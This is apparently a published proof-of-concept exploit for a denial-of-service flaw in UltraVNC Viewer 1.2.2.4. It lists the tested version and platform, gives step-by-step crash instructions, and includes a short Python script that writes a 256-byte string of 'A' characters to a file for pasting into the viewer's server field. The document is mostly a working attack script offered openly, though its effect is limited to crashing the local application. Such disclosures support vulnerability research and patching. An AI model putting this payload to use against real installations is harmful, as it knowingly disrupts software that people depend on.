#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-04-14 #Vendor Homepage: https://www.uvnc.com/ #Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html #Tested Version: 1.2.2.4 #Tested on: Windows 7 x64 Service Pack 1 #Steps to produce the crash: #1.- Run python code: UltraVNC_Viewer_1.2.2.4.py #2.- Open UltraViewer.txt and copy content to clipboard #3.- Open UltraVNC Viewer #4.- In "VNC Server" Paste Clipboard #5.- Click on "Connect" #6.- Crashed cod = "\x41" * 256 f = open('UltraViewer.txt', 'w') f.write(cod) f.close()